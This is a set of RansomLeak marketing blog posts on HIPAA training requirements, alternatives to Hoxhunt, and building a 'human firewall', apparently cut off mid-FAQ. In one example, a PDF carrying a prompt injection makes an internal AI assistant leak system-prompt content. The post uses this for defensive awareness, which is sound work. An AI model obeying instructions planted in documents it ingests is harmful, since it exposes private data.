category | |------|-------------|------------------|-------------------|-------------------------| | 1 | Reasonable diligence (did not know) | approximately $137 | approximately $68,928 | approximately $2.07M | | 2 | Reasonable cause | approximately $1,379 | approximately $68,928 | approximately $2.07M | | 3 | Willful neglect, corrected | approximately $13,785 | approximately $68,928 | approximately $2.07M | | 4 | Willful neglect, not corrected | approximately $68,928 | approximately $2.07M | approximately $2.07M | The exact figures change annually with inflation. Check the current Federal Register notice for the latest values. Beyond the per-violation fines, OCR frequently enters Resolution Agreements that require multi-year Corrective Action Plans, third-party monitoring, and specific training remediation. State Attorneys General also have independent HIPAA enforcement authority under HITECH and have used it. The Breach Notification Rule at 45 CFR §§164.400-414 adds reputational cost. Breaches affecting 500 or more individuals are published on the HHS "wall of shame" and triggered media notification in the affected state. ## How often must HIPAA training be conducted? The Security Rule describes training as "periodic" without defining the cadence. The Privacy Rule is more specific: training on new or changed policies within a reasonable time after the change. Industry practice and OCR guidance converge on the following cadence: - **New hires** must receive training before they access PHI, not weeks later - **Annual refresh** is the widely accepted baseline for all workforce members - **Policy change triggers** require targeted training when policies update - **Post-incident training** should follow significant incidents, particularly successful phishing or ransomware events - **Role change triggers** require retraining when workforce members take on new PHI-handling responsibilities Some entities run quarterly microlearning. This usually satisfies the "periodic security updates" specification better than a single annual module and shows up well in OCR audits. ## HIPAA training documentation requirements The Security Rule at §164.530(j) requires covered entities to retain documentation for six years from the date of creation or the date it was last in effect, whichever is later. Training records are explicitly in scope. The records that tend to survive OCR scrutiny include: - Names and roles of workforce members who completed each training - Date of completion and date of any refreshers - Content delivered, including version numbers and any updates - Assessment scores where applicable - Signed acknowledgments of policies where required - Remediation records for workforce members who failed assessments Dashboards are convenient but not sufficient. OCR sample requests routinely ask for underlying records, not the summary view. ## Phishing and ransomware training in healthcare Healthcare has been the most-targeted ransomware sector in the US for multiple years. HHS Cybersecurity Program data and OCR breach reports consistently show hacking and IT incidents as the leading cause of large breaches. Training for phishing and ransomware in healthcare is not generic. The scenarios that hit clinicians and back-office staff differ from those that hit tech companies. Common healthcare-specific vectors include: - Impersonation of medical suppliers during EHR migrations - Fake patient portals and portal password reset emails - Fake insurance verification calls that harvest patient information - Ransomware delivered through third-party revenue cycle vendors - [Vishing attacks](/blog/vishing-awareness/) against nursing stations and IT help desks A healthcare-specific training program should run scenarios drawn from real incidents in the sector. Our [security awareness catalogue](/catalogue/security-awareness/) covers phishing, vishing, smishing, and tech-support scams in immersive 3D exercises that workforce members complete in ten to fifteen minutes each. ## BAA training and vendor management Under §164.308(b) and §164.504(e), covered entities must have a Business Associate Agreement with each business associate that creates, receives, maintains, or transmits PHI. The BA is directly liable for Security Rule violations under the 2013 Omnibus Rule. Effective vendor management now includes training due diligence. Before executing a BAA, covered entities should verify that the business associate has a documented training program, that workforce members handling PHI have completed training, and that incident notification training is in place so the BA can meet the §164.410 notification deadline back to the covered entity. A [third-party data processor vetting exercise](/exercises/gdpr-third-party-data-processor-vetting/) trains procurement and security teams to run that due diligence well. ## How RansomLeak covers HIPAA training RansomLeak training is scenario-based and documented at the level OCR auditors request. The catalogue covers both the Security Rule pillars and the Privacy Rule topics, and completion records export to satisfy the six-year retention rule under §164.530(j). The [privacy and compliance catalogue](/catalogue/privacy-compliance/) covers data handling, incident response, and DSAR-adjacent patient access scenarios. The [security awareness catalogue](/catalogue/security-awareness/) covers phishing, malware recognition, password hygiene, and log-in monitoring in ways that map to the four Security Rule specifications. Our [compliance mapping guide](/compliance/) links each §164.308 and §164.310 requirement to the specific exercises that address it, so HIPAA security officers can hand an auditor a traceability document rather than a stack of PDFs. ## Frequently asked questions ### Is HIPAA training mandatory? Yes. 45 CFR §164.308(a)(5) requires a security awareness and training program for all members of the workforce. 45 CFR §164.530(b) separately requires privacy training. Both apply to covered entities, and §164.308 flows through to business associates via the BAA. ### How long should HIPAA training records be retained? Six years from the date of creation or the date the record was last in effect, whichever is later. The rule is at 45 CFR §164.530(j) for privacy and §164.316(b)(2)(i) for security documentation. ### Does HIPAA training apply to volunteers and contractors? Yes. "Workforce" under 45 CFR §160.103 includes employees, volunteers, trainees, and other persons whose conduct is under the direct control of the entity, whether or not paid. If they can access PHI, they are in scope. ### How often is HIPAA training required? The Security Rule requires "periodic" training. Annual refresh is the accepted baseline. Training is also triggered when policies change (Privacy Rule), when workforce members take on new roles, and after security incidents that reveal training gaps. ### What are the penalties for failing to train workforce members? OCR civil monetary penalties range from approximately $137 to over $68,928 per violation with annual caps around $2.07 million per category, adjusted annually for inflation. Willful neglect that is not corrected carries the highest fines. State Attorneys General have parallel authority. ### Do business associates need to train their workforce? Yes. Business associates are directly liable under the 2013 Omnibus Rule for Security Rule obligations, including workforce training. The BAA should specify training expectations and incident notification timelines. ### What topics must HIPAA training cover? At minimum, the four §164.308(a)(5) specifications: security reminders, protection from malicious software, log-in monitoring, and password management. Most programs also cover incident recognition, breach reporting timelines, minimum necessary standard, and workstation security. ### Can HIPAA training be delivered online? Yes. The Security Rule is technology-neutral. Online, scenario-based, and video training all satisfy the requirement as long as the content is appropriate, the records are retained, and workforce members actually complete the training rather than clicking through. ### How does HIPAA training interact with state privacy laws? Some state laws impose additional training obligations, particularly California (CCPA/CPRA), Texas (HB 300), and New York (SHIELD Act). A HIPAA program usually covers the HIPAA requirement but may need supplements for state-specific patient access rights and breach notification timelines. ### What should be in a HIPAA training completion record? Workforce member name and role, date of completion, training content and version, assessment results where applicable, and signed acknowledgments where policy requires them. OCR sample requests routinely ask for these records, so build the storage structure before the audit arrives. ## Bottom line HIPAA security awareness training is the Administrative Safeguard that almost every workforce member interacts with. It is also the one most often under-delivered, which is why OCR Resolution Agreements so frequently include training-related Corrective Action Plans. Build the program around the four §164.308(a)(5) specifications, document at the level OCR will sample, tailor content by role, and run it more than once a year. Healthcare organizations that take training seriously reduce their breach rate, and when breaches happen anyway, they tend to land in the lower OCR penalty tiers rather than the willful-neglect bands. If your covered entity or business associate is rethinking its HIPAA training, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/), review the [compliance mapping guide](/compliance/), or [book a walkthrough](/contact-us/) to see how scenario-based training fits into a HIPAA program. ## Sources - [45 CFR §164.308 Administrative Safeguards](https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-C/section-164.308) - [45 CFR §164.530 Administrative Requirements](https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-E/section-164.530) - [HHS Office for Civil Rights: HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/laws-regulations/index.html) - [HHS 405(d) Healthcare Industry Cybersecurity Practices](https://405d.hhs.gov/) - [Federal Register: Annual HIPAA Civil Monetary Penalty Adjustments](https://www.federalregister.gov/) --- ### Hoxhunt Alternatives: 7 Platforms Compared Source: https://ransomleak.com/blog/hoxhunt-alternatives/ The best Hoxhunt alternatives in 2026 depend on what you actually need. Teams that want broader training beyond phishing simulation often pick RansomLeak or KnowBe4. Teams in the EU often pick SoSafe for GDPR-native hosting. Teams that want a behavioral-science moat often pick CybSafe. This guide compares seven platforms so you can match a vendor to your program. _Updated April 2026._ ## Why look at Hoxhunt alternatives? Hoxhunt is a strong platform. G2 users consistently rank it among the highest-engagement phishing simulation tools in the category, and its adaptive difficulty engine is well-regarded. Alternatives still matter for three reasons, especially as the [human element continues to drive the majority of breaches](https://www.verizon.com/business/resources/reports/dbir/) tracked in the Verizon DBIR. The first is scope. Hoxhunt is phishing-simulation-first. If your program also needs deep coverage of ransomware response, social engineering, AI-era threats, privacy compliance, and real-world breach drills, a broader platform often fits better. The second is pricing. Hoxhunt does not publish seat pricing, and several public procurement writeups describe it as a premium tier among pure-play human risk platforms. Smaller teams or tight budgets sometimes need a lower-cost path, especially when [the average cost of a data breach](https://www.ibm.com/reports/data-breach) is already a board-level line item. The third is data residency and segment fit. Hoxhunt is Finland-based, strong in EMEA and North American enterprise. Teams with strict EU data-residency rules (think DORA, NIS2, TISAX) sometimes prefer an EU-native vendor like SoSafe. Teams in the SMB tier sometimes prefer a free or freemium option. ## Comparison table | Platform | Content format | Phishing simulation | AI threat coverage | Pricing | Target segment | Free tier | SCORM | |---|---|---|---|---|---|---|---| | Hoxhunt | Adaptive phishing sims, bite-sized modules | Core product, AI-adaptive | Some AI phishing content | Custom, premium | Mid-market, enterprise | Demo only | No | | RansomLeak | Interactive 3D simulations | Scenario-based exercises plus SCORM | OWASP LLM Top 10, prompt injection, deepfake, agentic | Custom enterprise, free library | Mid-market, enterprise | 100+ free exercises | Yes, SCORM 1.2 and 2004 | | KnowBe4 | Video library, quizzes, games, posters | PhishER, Smart Delivery, large template library | AI Defense Agents product line, select modules | Roughly $1.50 to $3.25 per user per month | Enterprise, regulated industries | Free tools (Phishing Test, RanSim) | Limited | | SoSafe | Behavioral microlearning, phishing sims | Standard simulation engine | Some AI content | Custom enterprise | Mid-market, enterprise, DACH | Demo only | Yes | | NINJIO | Hollywood-animated episodes (3-4 min) | Phishing simulations | General awareness | Per-user, premium | Enterprise, mid-market | Demo only | Yes | | CybSafe | Behavioral-science microlearning | SebDB-driven simulations | Light AI coverage | Custom | Enterprise | Demo only | Yes | | Living Security | HRM dashboards, content bundles | Via partners | Positions as AI-native | Custom enterprise | Fortune 1000, CISO-led | Demo only | Yes | ## RansomLeak RansomLeak is a security awareness training and human risk management platform built around [interactive 3D simulations](/catalogue/). Founded in 2025 by the creators of Kontra Application Security Training, it covers over 100 exercises across phishing, ransomware, social engineering, privacy compliance, and AI security. Employees step into scenarios and make decisions rather than watching a narrator explain the lesson. The platform publishes its full exercise library for free evaluation without a sales call. SCORM 1.2 and SCORM 2004 export works with [50+ tested LMSes](/blog/scorm-security-training/). The standalone cloud platform adds analytics, SSO, and campaign management for enterprise tiers. **Best for**: mid-market and enterprise teams that want broader scenario coverage than phishing simulation alone, plus deep [AI-era threat training](/catalogue/ai-security/) on prompt injection, deepfake voice, and OWASP LLM Top 10. ## KnowBe4 KnowBe4 is the largest security awareness platform in the category, founded in 2010 and serving tens of thousands of organizations. The ModStore library runs into the thousands of videos, modules, and posters in 35+ languages. KnowBe4 describes its platform as combining Human Risk Management with its AI Defense Agents product line. Public reviews on G2 place KnowBe4 pricing in the range of roughly $1.50 to $3.25 per user per month across Silver, Gold, Platinum, and Diamond tiers, depending on seat count. Contracts are typically annual. The PhishER console for inbox-level phishing triage is among the deepest in the market. **Best for**: large enterprises and regulated industries that want the broadest content library, a mature phishing simulation engine, and a vendor that clears procurement on sight. See the longer [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/) comparison for a detailed breakdown. ## SoSafe SoSafe is a German security awareness vendor that describes itself as Europe's largest security awareness training and human risk management provider. Its approach centers on [behavioral microlearning](https://www.sans.org/security-awareness-training/reports/) with short interactive modules, plus phishing simulation. EU-hosted infrastructure, ISO 27001, TISAX, and GDPR compliance are prominent trust signals on the public site. SoSafe is strong across DACH (Germany, Austria, Switzerland), the UK, and the Nordics. Public content leans heavily on NIS2, DORA, and ISO 27001 alignment. Pricing is custom and requires a sales conversation. **Best for**: mid-market and enterprise teams in Europe with EU data-residency requirements, TISAX audits, or heavy NIS2 exposure. For a direct comparison, see [RansomLeak vs SoSafe](/blog/ransomleak-vs-sosafe/). ## NINJIO NINJIO is a security awareness platform built around Hollywood-animated micro-learning episodes, three to four minutes each, based on real cybersecurity incidents. Episodes tell a story of how an attack happened, where the victim went wrong, and what the audience should do differently. New content ships on a regular cadence. NINJIO's strength is production value: narrative arcs, character work, and short runtime that fits into busy schedules. Phishing simulation is part of the platform but is secondary to the video content. Pricing is per-user with annual contracts. **Best for**: organizations where completion rates are the primary problem and entertainment value drives watching behavior. For an in-depth comparison, see [RansomLeak vs NINJIO](/blog/ransomleak-vs-ninjio/). ## CybSafe CybSafe is a UK-based human risk management platform with a behavioral-science backbone. The company maintains SebDB, a public taxonomy of 70+ security behaviors grounded in academic research, which is also its strongest content moat. Microlearning nudges, personalized content, and [behavioral analytics](https://www.gartner.com/) are the pillars of the product, mirroring the direction Gartner research has tracked across the awareness category. CybSafe content rarely leans on entertainment. It reads like applied research, which fits mature security programs that value rigor. AI-era threat coverage is lighter than category leaders. **Best for**: mature enterprise security programs that want a research-grounded approach and detailed behavioral reporting, typically UK and EU. ## Living Security Living Security positions as an AI-native human risk management platform with a heavy dashboard and analytics layer. Public customer references include Ford, Target, Cleveland Clinic, Unilever, Merck, Lockheed Martin, and Northwestern Mutual, signaling pure Fortune 1000 focus. Board-ready narratives and executive reporting are core to the pitch. The platform integrates training content, phishing simulation (often through partners), and risk dashboards into a single HRM view. Pricing is enterprise custom. **Best for**: Fortune 1000 organizations with CISO-led buying, strong GRC integration needs, and a board that wants quantified human-risk reporting. ## When to pick each Use the table above as a starting point, then narrow by program context. **Pick Hoxhunt** if continuous inbox-level phishing simulation with AI-adaptive difficulty is your most important feature and broader scenario training is secondary. **Pick RansomLeak** if you want hands-on [interactive simulations](/catalogue/) covering phishing, ransomware, social engineering, privacy compliance, and [AI-era threats](/catalogue/ai-security/) such as prompt injection and deepfake voice, plus SCORM export into your existing LMS. **Pick KnowBe4** if you need the broadest possible content library, the most mature phishing simulation engine with PhishER and Smart Delivery, and a vendor with ten-plus years of enterprise track record. **Pick SoSafe** if you are an EU or DACH organization with strict data residency, NIS2 or TISAX audit exposure, and a preference for German-first content. **Pick NINJIO** if low completion rates are your central problem and Hollywood-grade animation is the change that will move employees to finish assigned content. **Pick CybSafe** if your program values behavioral-science rigor, tracks measurable behaviors over awareness, and operates primarily in the UK or EU. **Pick Living Security** if you are a Fortune 1000 buyer with CISO-led procurement, board-level reporting requirements, and an appetite for an analytics-heavy HRM platform. ## Frequently asked questions ### How much does Hoxhunt cost? Hoxhunt does not publish seat pricing on its public site. Procurement writeups and G2 reviews place it among the higher-tier pure-play human risk platforms, with custom enterprise contracts and annual terms. Expect a demo and sales call to receive a quote, and benchmark against [SANS awareness program maturity guidance](https://www.sans.org/security-awareness-training/reports/) before approving a multi-year deal. ### What is the best free alternative to Hoxhunt? RansomLeak publishes its full [100+ exercise catalogue](/catalogue/) free to try without an account. This covers phishing, ransomware, social engineering, privacy compliance, and AI security. Other free-tier options such as Wizer and CanIPhish focus mainly on phishing templates rather than broader scenario training. ### Is Hoxhunt only for phishing simulation? Hoxhunt markets itself as a full human risk management platform, but its core engine and strongest feature is adaptive phishing simulation. Teams that need deep training content beyond phishing, including AI threat coverage, [incident response](https://www.ibm.com/reports/data-breach), and compliance scenarios, often need a second platform or a broader vendor. ### Which Hoxhunt alternatives support SCORM export? RansomLeak, SoSafe, NINJIO, CybSafe, and Living Security all support SCORM in some form. KnowBe4 supports SCORM but operates primarily through its own console. Hoxhunt itself does not export training as SCORM packages. See our [SCORM security training guide](/blog/scorm-security-training/) for LMS compatibility details. ### Which alternative has the deepest AI threat coverage? RansomLeak ships a dedicated [AI security catalogue](/catalogue/ai-security/) with exercises on [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake whaling with voice cloning](/blog/deepfake-social-engineering/), and [Clawdbot-style indirect prompt injection](/blog/clawdbot-security-risks/). KnowBe4 and Living Security reference AI in their positioning, but their training depth on specific AI attack types is lighter. ### What about Hoxhunt alternatives for EU teams? SoSafe is the strongest EU-native pick, with German-first content, TISAX and ISO 27001 certifications, and GDPR-hosted infrastructure. CybSafe is strong in the UK. RansomLeak covers GDPR, NIS2, and ISO 27001 evidence but hosts in configurable regions. ### How do Hoxhunt and KnowBe4 compare? KnowBe4 is broader: thousands of modules, a mature phishing engine (PhishER), and deeper compliance coverage. Hoxhunt is narrower but stronger on adaptive phishing simulation and engagement design. Buyers often pick KnowBe4 for breadth and Hoxhunt for phishing-specific depth, with [Gartner](https://www.gartner.com/) typically grouping both vendors among the higher-rated entries in the security awareness CBT category. ## Bottom line Hoxhunt is a capable phishing simulation platform. It is not the only option, and it is not always the right fit outside its core use case. Match the vendor to the program. Buyers that need broader scenario training, deep AI threat coverage, or SCORM into an existing LMS often find [RansomLeak](/learning/) a closer fit. Buyers that need the widest library and the most mature phishing console usually land on KnowBe4. Buyers in EU-regulated industries gravitate toward SoSafe. For a roundup of the broader category, see the [best security awareness training platforms for 2026](/blog/best-security-awareness-training-2026/). For a head-to-head with the market leader, see [KnowBe4 alternatives](/blog/knowbe4-alternatives/) and [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/). --- _Try a [phishing scenario](/exercises/phishing/), a [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/), or the [callback phishing exercise](/exercises/callback-phishing/) inside the [training catalogue](/catalogue/). No sign-up, no sales call, just the same content employees will see in a live deployment._ --- ### Human Firewall: How to Build One Source: https://ransomleak.com/blog/human-firewall-training/ A human firewall is the collective set of trained behaviors that employees use to block cyber attacks before technical controls need to intervene. Those behaviors include reporting suspicious emails, challenging unexpected wire transfers, and questioning calendar invites from unknown domains. Organizations with a mature human firewall typically see 70 to 80 percent fewer successful phishing incidents compared to baseline, according to Hoxhunt's 2024 Phishing Trends Report. For buyers evaluating vendor-specific approaches, see [how RansomLeak compares to Hoxhunt](/blog/ransomleak-vs-hoxhunt/). The phrase sounds metaphorical, but the data behind it is concrete. The 2024 Verizon Data Breach Investigations Report found that 68 percent of breaches involve a non-malicious human element: a click, a misdelivered file, a credential reuse. No amount of email filtering or endpoint detection closes that gap on its own. Trained people do. This guide covers what a human firewall actually is, the seven behaviors that define one, real examples of it working, a 90-day build plan, and the metrics that prove it is paying off. ## What is a human firewall? A human firewall is your workforce acting as an active defense layer against cyber attacks. Instead of being the weakest link, trained people become threat detectors, incident reporters, and the reason a carefully crafted [phishing email](/blog/phishing-detection/) goes nowhere. The concept rests on a simple observation. Technical controls have hard limits. Email gateways catch most phishing, but the sophisticated messages that bypass filters still land in an inbox, where a person has to decide what to do. If that person has practiced making the call, they usually make it correctly. Attackers target people on purpose because it works. [Social engineering](/blog/social-engineering-attacks/) exists as a technique precisely because it routes around every firewall and EDR tool a company owns. Training your people is the direct counter to that strategy. Security is also collective. One alert employee can stop an attack that would otherwise compromise the entire organization. Multiply that instinct across a workforce of hundreds, and you build something no vendor can sell. ### Human firewall vs traditional firewall The two firewalls protect different surfaces. A network firewall inspects packets and enforces rules on ports and protocols. A human firewall evaluates context, intent, and plausibility, which is where most modern attacks actually happen. | Technical firewall | Human firewall | |-------------------|----------------| | Blocks known threat patterns | Recognizes novel attack tactics | | Operates on static rules | Applies judgment and context | | Bypassed by social engineering | Defends against social engineering | | Requires vendor updates | Improves through practice | | Protects the network perimeter | Protects every interaction point | The best defenses combine both. Technical controls handle volume, blocking millions of automated attacks daily. Your human firewall handles sophistication, catching [barrel phishing](/blog/barrel-phishing/) and other targeted attacks that slip through the automated layer. ## The 7 pillars of a human firewall Seven behaviors separate a workforce that stops attacks from one that enables them. Each pillar is measurable and trainable. ### 1. Report, do not delete The single highest-impact behavior in a human firewall is reporting. When an employee reports a suspicious message instead of deleting it or ignoring it, the security team gets telemetry for the entire company. Hoxhunt's data shows that a report rate above 20 percent correlates with a five-times reduction in successful phishing. Microsoft's 2024 Digital Defense Report calls this "herd immunity" in security: one report protects thousands of downstream coworkers who would otherwise see the same campaign. A one-click report button in the email client, combined with positive acknowledgement for every submission, turns this into muscle memory. ### 2. Verify out-of-band The most expensive attacks use urgency and authority to rush people past their instincts. A request from "the CEO" to wire funds or change payroll banking is treated differently by a trained employee. They call back on a known number, not the one in the email footer. The FBI's 2024 Internet Crime Report attributes $2.9 billion in losses to business email compromise, and an internal process of out-of-band verification for any payment change is the single control that blocks most of it. Train this as a rule, not a guideline. [BEC training](/blog/bec-training/) embeds the reflex. ### 3. Trust the red flags Attackers leak signals. Mismatched sender domains, urgency language, unusual attachment types, and requests that violate normal business process are red flags that trained people notice. Hoxhunt found that employees who complete five or more phishing simulations drop their click rate by 71 percent. The red-flag checklist (slow down, read twice, look at the domain, check the link target) becomes automatic after enough repetitions. Our [phishing detection guide](/blog/phishing-detection/) covers the specific signals that matter most. ### 4. Own the password Credentials are still the single most valuable target for attackers. The 2024 Verizon DBIR found that stolen credentials appeared in 24 percent of breaches, more than any other attack vector. A trained employee uses a password manager, never reuses passwords across work and personal accounts, enables multi-factor authentication on every service that supports it, and reports any request for credentials over email or phone. This is non-negotiable hygiene. [Password security training](/blog/password-security-training/) makes it concrete. ### 5. Question the context Modern attacks use context to look legitimate. An attacker who has scraped LinkedIn knows your manager's name, your vendor list, and the project you shipped last quarter. A trained employee asks whether a message makes sense given that context, not just whether the email looks clean. This is pattern recognition, and it comes from exposure. Employees who run through [social engineering scenarios](/exercises/social-engineering/) learn to flag requests that violate normal business rhythm: the vendor who suddenly changes banking at month-end, the executive who emails about a wire transfer at 4:58 PM on a Friday, the new IT technician asking for a password reset over Teams. ### 6. Guard the device A human firewall extends to the physical world. Locked screens, current OS patches, encrypted disks, and a known response to suspicious USB drives all sit inside this pillar. The [USB drop attack](/exercises/usb-drop-attack/) scenario is a classic example. CISA's FY2023 Risk and Vulnerability Assessment showed that 51 percent of tested organizations had at least one employee plug in an unknown device. A trained workforce hands the device to IT instead. ### 7. Measure and improve The final pillar is the one most organizations skip. A human firewall that is not measured does not improve. The minimum metrics are click rate on phishing simulations, report rate, mean time to report, and repeat-offender trend by department. When these numbers are visible to leadership and tracked over quarters, training stops being a compliance box and becomes an operational capability. The "Metrics that prove a human firewall works" section below shows the target numbers in detail. ## Human firewall examples Abstractions are harder to remember than stories. Five real-world scenarios show what a human firewall looks like in action. ### Example 1: The $2 million invoice that did not send In 2023, a finance team at a mid-size US manufacturer received a routine invoice change request from a long-standing European vendor. The new banking details arrived by email with matching signatures, PDF letterhead, and a thread history that made the request look legitimate. The accounts payable controller called the vendor on the number saved in their internal system, not the number in the email. The vendor had no record of the request. The attacker had compromised the vendor's mailbox, and the $2 million transfer would have gone to a mule account. The call cost two minutes. Silent detection saved the company its largest payment of the quarter. ### Example 2: The deepfake CFO on a video call In February 2024, an engineering firm in Hong Kong lost $25 million to a deepfake video call where attackers impersonated the CFO, per reporting from CNN. Less discussed: a large US law firm reported a similar attempt three months later, but their junior finance analyst ended the call after noticing that the "CFO" never directly responded to a question about an internal nickname used in the finance channel. The analyst had completed a [deepfake awareness](/blog/deepfake-social-engineering/) exercise the week before and remembered the verification heuristic: ask something an imposter could not have scraped. The attack failed on a detail no technical control could have caught. ### Example 3: The prompt-injection report A developer at a SaaS company noticed that a third-party PDF, when ingested by their internal AI assistant, produced output that referenced a system prompt they did not write. They reported it through the security Slack channel within six minutes. The security team confirmed a prompt-injection payload embedded in the document. Because the developer had seen the pattern in the [ClawdBot exercise](/exercises/clawdbot-prompt-injection/), they treated the anomaly as suspicious rather than dismissing it as a glitch. The fix shipped the next morning, before any customer data was exposed. ### Example 4: The vishing call that hit the helpdesk A helpdesk technician at a large US hotel chain received a call in September 2023 from a "contractor" asking for a password reset. The caller knew the employee ID, the ticket format, and recent vendor names. The technician followed the policy script to verify identity via a separate channel, which caused the caller to end the call. MGM Resorts, hit by a similar playbook from the Scattered Spider group the same week, reportedly lost over $100 million in disrupted operations. The hotel chain that ran the verification drill kept operating. Practice on [real-world incident scenarios](/catalogue/real-world-incidents/) pays off. ### Example 5: The suspicious QR code in the parking lot An office manager at a logistics company noticed that a flyer taped to the break-room fridge, labeled "urgent security update," carried a QR code that did not match the company's standard mobile deployment flow. She peeled it off, photographed it, and emailed the security team. The QR code led to a credential-harvesting page styled to look like the company SSO portal. Three employees had already scanned it, but all three were enrolled in multi-factor authentication and none of the sessions completed. The office manager's report let the security team notify those employees, invalidate the session tokens, and add the domain to the email blocklist within an hour. ## How to build a human firewall in 90 days Most organizations try to build a human firewall by buying a content library and assigning annual modules. That produces compliance, not capability. A structured 90-day build works better, because it sequences baseline measurement, targeted training, and reinforcement in a way that changes behavior. ### Weeks 1 to 2: Baseline and kickoff Start with data, not content. Run a baseline phishing simulation across the workforce before any training lands. Measure click rate, report rate, and mean time to report by department. Pair the simulation with a 20-minute launch from the CEO or CISO that frames the program as a capability investment, not a compliance requirement. Set up the one-click report button in the email client during this window. Every employee should know how to report a suspicious message by the end of week two. Our [phishing simulation training guide](/blog/phishing-simulation-training/) covers the baseline methodology in detail. ### Weeks 3 to 6: Role-based training and repeat-offender loops Segment the workforce by risk profile. Finance, executives, IT, and customer-facing roles each need scenarios that match their actual threat model. A finance team does not need a generic "click carefully" module. They need a [BEC scenario](/blog/bec-training/) with a realistic invoice-fraud pattern. Deploy 5 to 10-minute microlearning weekly, not 60-minute quarterly courses. Route repeat clickers to a remediation loop with a direct conversation and a second targeted simulation. Reward the top reporters publicly in team channels. The goal by end of week six is a 50 percent reduction in click rate from baseline. ### Weeks 7 to 12: Advanced scenarios and metric review Introduce the hard scenarios. AI-generated phishing, deepfake voice calls, QR code attacks, vendor impersonation, and prompt injection all belong here. The [AI security catalogue](/catalogue/ai-security/) has exercises that cover every one of these vectors. For the employee-side training content on consumer AI misuse, pair the simulations with written guidance on [ChatGPT security risks](/blog/chatgpt-security-risks/) and the [shadow AI](/blog/shadow-ai/) patterns that most often slip past IT. Run a full metric review in week 11 with leadership. Publish click rate, report rate, time to report, and repeat-offender trend. Celebrate the teams that improved most. Use the review to plan the next quarter, not to close the project. A human firewall is never a one-time build. ## Metrics that prove a human firewall works Training programs without metrics run on vibes. The five numbers below are the operational KPIs that tell leadership whether the human firewall is getting stronger or weaker over time. Rolled up per person, these same signals feed a broader [human risk management](/human-risk-management/) program that scores and reduces each employee's risk. ### Phishing click rate Click rate is the percentage of simulated phishing emails that get clicked. A healthy baseline in an untrained organization sits between 20 and 35 percent, per Hoxhunt's 2024 benchmark. The target by month six is under 5 percent, and the best-performing cohorts reach under 3 percent by month twelve. Break click rate down by department, by simulation difficulty, and by time-of-day. A spike on Friday afternoons usually means fatigue, which points to a scheduling fix, not more training. ### Phishing report rate Report rate is the percentage of employees who submit a suspicious email using the reporting mechanism. This metric matters more than click rate in the long run because it tells you whether your workforce is actively defending. The target is above 20 percent by month six and above 40 percent by month twelve. Hoxhunt reports that organizations above the 40 percent threshold experience five times fewer successful attacks. ### Mean time to report Mean time to report measures how fast a suspicious email gets flagged. When an attack campaign hits, the first report triggers the security team's containment response. The target is under five minutes for trained employees. Microsoft's 2024 Digital Defense Report notes that attacker dwell time in BEC incidents averages 38 minutes between first compromise and fraudulent wire initiation, so a report in under five minutes gives the security team a real window to act. ### Repeat offender rate Some employees click phishing simulations repeatedly. The repeat-offender rate is the percentage of the workforce that clicks more than once in a quarter. The target is under 5 percent of the workforce. If the rate is higher, the fix is almost always role-based training plus a private coaching conversation, not harsher consequences. Punitive responses lower reporting, which breaks the whole program. ### Department risk score trends Roll the four metrics above into a single score per department and trend it quarter over quarter. This is the number that goes on the CISO dashboard and the board report. The trend matters more than the absolute number. A department that moves from a risk score of 75 to 40 over two quarters is a human firewall that is working. A score that stays flat signals a training gap the program has not closed yet. ## Why traditional security awareness training fails to build a human firewall Most security awareness programs are not designed to build a human firewall. They are designed to satisfy an audit line item. The structural problems show up in four consistent patterns. ### Annual video modules do not change behavior A 45-minute video watched once a year produces a short vigilance spike followed by eleven months of decay. Gartner's 2023 security awareness research found that knowledge retention from video-only training drops below 10 percent within 90 days. The muscle memory required to catch a phishing email at 4:47 PM on a Friday does not exist after that decay. Effective programs use continuous microlearning. Five minutes weekly beats 60 minutes quarterly, and the cost per unit of behavior change is lower. Our [security awareness training guide](/blog/security-awareness-training-guide/) breaks down the cadence in detail. ### Passive content does not build reflexes Watching a slide about phishing is like watching a slide about swimming. Both teach the concept, and neither prevents drowning. [Interactive scenarios](/catalogue/security-awareness/) where employees analyze a real-looking email, make a decision, and see consequences build the pattern recognition that videos cannot. RansomLeak runs on this principle. Every exercise in the free [learning library](/learning/) places employees inside a decision, not outside it. The result is a training experience that behaves more like a simulator than a classroom. ### Generic content misses the actual threat model A finance team faces BEC and invoice fraud. An engineering team faces prompt injection and dependency confusion. An HR team faces resume-based malware and job-offer scams. Generic "do not click suspicious links" content treats all three as the same, and all three stay vulnerable. Role-based content fixes this. Scenarios that match the team's real job respect the employees' time and produce training they actually remember. ### Punitive programs destroy the reporting culture When employees who click phishing simulations get publicly shamed, reported to their manager, or put on a remediation list that feels disciplinary, they stop reporting. Real incidents go unreported because employees fear punishment more than they fear the attack. The fix is to celebrate reporting, including false positives, and treat simulation failures as learning moments. The Stanford 2022 study on security-reporting culture showed a 3.8 times higher report rate in organizations that frame reporting as a contribution rather than an error correction. ## Frequently asked questions ### What is a human firewall? A human firewall is the collective set of trained employee behaviors that stop cyber attacks before technical controls need to act. Those behaviors include reporting suspicious messages, verifying unusual requests out-of-band, recognizing social-engineering red flags, and maintaining password and device hygiene. Unlike technical firewalls that enforce static rules, a human firewall applies judgment to the ambiguous situations where most modern attacks live. ### How is a human firewall different from a traditional firewall? A traditional network firewall inspects traffic and blocks known-bad patterns on the wire. A human firewall inspects context, intent, and plausibility at the inbox, the phone, and the keyboard. Technical firewalls stop automated attacks at volume. Human firewalls stop targeted social-engineering attacks that bypass automated controls by design. ### Who is responsible for the human firewall in my organization? Every employee is a node in the human firewall, but the CISO or head of security typically owns the program. Building the firewall requires training content, simulation tooling, a clear reporting mechanism, and leadership visibility, so HR, IT, and communications usually support the work. The biggest predictor of success is whether executives participate in training themselves rather than exempting the C-suite. ### What is the best way to train a human firewall? The best training combines short, frequent microlearning with role-based interactive scenarios and regular phishing simulations. Five to ten-minute sessions run weekly beat 60-minute annual modules on retention, engagement, and behavior change. Pair the training with a one-click report button, positive acknowledgement for every report, and a quarterly metric review with leadership. ### How long does it take to build a human firewall? A structured 90-day program can cut phishing click rate in half and push report rate above 20 percent. Reaching the mature benchmarks (click rate under 3 percent, report rate above 40 percent) usually takes 9 to 12 